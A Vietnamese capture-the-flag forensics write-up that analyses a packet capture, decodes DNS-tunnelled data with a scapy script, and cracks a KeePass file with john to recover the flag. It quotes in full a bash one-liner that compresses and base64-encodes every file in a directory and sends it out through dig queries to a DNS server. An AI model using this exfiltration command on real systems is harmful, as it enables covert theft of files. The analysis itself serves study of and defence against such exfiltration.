### Netlab 2 Mở Wireshark lên, ta thấy file sẽ như này. ![image](https://hackmd.io/_uploads/ByRQey286.png) Ta thấy các Protocol DNS khá là lạ, ta thấy các Query của DNS nhìn như là Base64 zị á. ![image](https://hackmd.io/_uploads/rJTVe12Ia.png) Nhưng mà để ý kỹ thì Base64 không có các ký tự ngoặc nhọn, ta tìm thêm xem có manh mối nào nữa không. Ta sử dụng Display Filter với lệnh ``not dns`` để lọc ra các packet không phải là DNS. ![image](https://hackmd.io/_uploads/HkXrxy3LT.png) Ở dòng thứ 7, ta thấy 1 HTTP mà có 1 đoạn code, ta thử follow coi sao ![image](https://hackmd.io/_uploads/SysSxyh8T.png) Sau khi follow HTTP, thì ta được đoạn code như sau: ``` for f in $(ls .); do s=4;b=50;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig +tries=1 +timeout=1 +noidnin +noidnout @10.2.32.72 `echo -ne $r$(echo $f|base58)|tr "+" "}"|tr "/" "{"` +short; done ; done ``` Theo như Bard nói thì: - ``for f in $(ls .); do``: Dòng này lặp qua tất cả các tệp trong thư mục hiện tại và gán tên tệp cho biến f. Ví dụ: nếu thư mục hiện tại chứa các tệp file1.txt, file2.txt, và file3.txt, thì vòng lặp sẽ thực hiện các lần lặp sau: - f = file1.txt - f = file2.txt - f = file3.txt - ``s=4;b=50;c=0;``: Dòng này gán biến thôi =)) - ``` for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); ``` Vòng lặp này là lặp qua các đoạn dữ liệu trong tệp ở vòng lặp ngoài. Lệnh ``gzip -c &f`` được sử dụng để nén tệp f thành 1 luồng nhị phân, sau đó sẽ mã hóa base64. Lệnh ``sed "s/.\{$b\}/&\n/g"`` được sử dụng để chia dữ liệu được mã hóa thành base64 thành các đoạn 50 ký tự. Ngoài ra, dòng ``if [[ "$c" -lt "$s" ]]; then`` thì nếu biến c < s thì các block 50 ký tự base64 sẽ kết thúc bằng 2 ký tự "-.", còn nếu c == s == 4 thì sẽ xuống dòng Thử đoạn code này sẽ hiểu thêm ``` for f in *; do s=4 b=50 c=0 for r in $(gzip -c "$f" | base64 -w0 | sed "s/.\{$b\}/&\n/g"); do if [ "$c" -lt "$s" ]; then echo -ne "$r-." c=$((c + 1)) else echo -ne "\n$r-." c=1 fi done echo done ``` - ``` do dig +tries=1 +timeout=1 +noidnin +noidnout @10.2.32.72 `echo -ne $r$(echo $f|base58)|tr "+" "}"|tr "/" "{"` +short; done ; ``` Các hàm trong đoạn code đó như sau: - dig: Là một công cụ dòng lệnh được sử dụng để truy vấn thông tin DNS. - +tries=1: Xác định số lần thử nghiệm trước khi dừng lại. Trong trường hợp này, được đặt là 1 lần. - +timeout=1: Đặt thời gian chờ cho mỗi truy vấn là 1 giây. - +noidnin: Tắt việc chuyển đổi tên miền ngược. - +noidnout: Tắt việc chuyển đổi tên miền xuôi. - @10.2.32.72 chính là máy chủ DNS cụ thể để truy vấn đến - Sau đó, các mã base64 ban nãy, sẽ thay '+' -> '}', '/'->'{', sau đó sẽ mã hóa base58 Mình sẽ truy vấn các DNSQR,replace các dấu chấm và sẽ split các dấu '-' vì dạng nó sẽ như thế này ``` UIS80eOnNp9Ue60V47LgUjWm9lq82J8d{AF}}Yjdpwp{9Ygham-.zOtAu{ExZjDlwLE4DNJtuSDEiEyQhQY{3i74ZH5VFE1LakVZGD-.KAzbUv97hNslwiZAQrGC27eSY1dL3FFXfQM9ROVOV1TMnm8B{B-.HGrC2jwSY4xyeyzx1wPExmB6xCujdHZuroiCFj1DWjDAXiqIdF-.2x9kyYFcUyDeC2c65. ``` Khi b58decode các phần từ cuối cùng sau khi split, thì ta thấy có các file là blueteam.bmp, discord.png, Flag.kdbx, **gaixinh.jpg**, kcsc.png nên là mình sẽ thử lấy 4 file thui =))) ``` def process_packet(packet): result = "" gaixinh, flag, blueteam, kcsc = "", "", "", "" if packet.haslayer(DNS): dns_packet = packet.getlayer(DNS) if dns_packet.haslayer(DNSQR): query = dns_packet[DNSQR].qname.decode() if query is not None: tmp = query.replace(".", "") tmp = tmp.split("-") try: form = b58decode(tmp[-1]) print(form) expect: pass packets = rdpcap('netlab2/netlab2.pcap') for packet in packets: process_packet(packet) ``` Mình cũng chưa hiểu sao byte của các file lại là các phần tử đầu sau khi split, cái này mình sẽ tìm hiểu sau Sau đó mình sẽ cộng dồn các byte của các file lại, thay đổi các ký tự bị thay thế là '}' -> '+', '{' -> '/', decode base64, sau đó đóng thành zip. ``` import base64 from base58 import b58decode from scapy.all import * def process_packet(packet): result = "" gaixinh, flag, blueteam, kcsc = "", "", "", "" if packet.haslayer(DNS): dns_packet = packet.getlayer(DNS) if dns_packet.haslayer(DNSQR): query = dns_packet[DNSQR].qname.decode() if query is not None: tmp = query.replace(".", "") tmp = tmp.split("-") try: form = b58decode(tmp[-1]) print(form) if form == b"gaixinh.jpg\n": tmp[-1] = "" for i in tmp: gaixinh += i.replace(".", "") if form == b'Flag.kdbx\n': tmp[-1] = "" for i in tmp: flag += i.replace(".", "") if form == b'blueteam.bmp\n': tmp[-1] = "" for i in tmp: blueteam += i.replace(".", "") if form == b'kcsc.png\n': tmp[-1] = "" for i in tmp: kcsc += i.replace(".", "") except: pass return gaixinh, flag, blueteam, kcsc packets = rdpcap('netlab2/netlab2.pcap') gaixinh, flag, blue, kcsc = "", "", "", "" for packet in packets: a, b, c, d = process_packet(packet) gaixinh += a flag += b blue += c kcsc += d gaixinh = gaixinh.replace("}","+").replace("{","/") flag = flag.replace("}","+").replace("{","/") blue = blue.replace("}","+").replace("{","/") kcsc = kcsc.replace("}","+").replace("{","/") gaixinh = base64.b64decode(gaixinh) with open ("unzip/gaixinh.zip", "wb") as f: f.write(bytearray(gaixinh)) flag = base64.b64decode(flag) with open ("unzip/flag.zip", "wb") as f: f.write(bytearray(flag)) blue = base64.b64decode(blue) with open ("unzip/blue.zip", "wb") as f: f.write(bytearray(blue)) kcsc = base64.b64decode(kcsc) with open ("unzip/kcsc.zip", "wb") as f: f.write(bytearray(kcsc)) ``` Mình dùng Winrar để unzip thì mấy file kia cũng bình thường thôi, hơi thất vọng tí, còn file Flag.kdbx thì đòi mật khẩu nha ![image](https://hackmd.io/_uploads/rkKFeknL6.png) Thế nên mình sẽ dùng john để crack ![image](https://hackmd.io/_uploads/H1G9lyhLT.png) ![image](https://hackmd.io/_uploads/ryRPxk2IT.png) Giờ nhập ``iloveyou`` vào thôi Mình mở lên và thu được flag ![image](https://hackmd.io/_uploads/H1ccg1n86.png) **Flag: Flag{NetLab2_DNS_3xf1ltr4t10n_15_5t3al7hy}**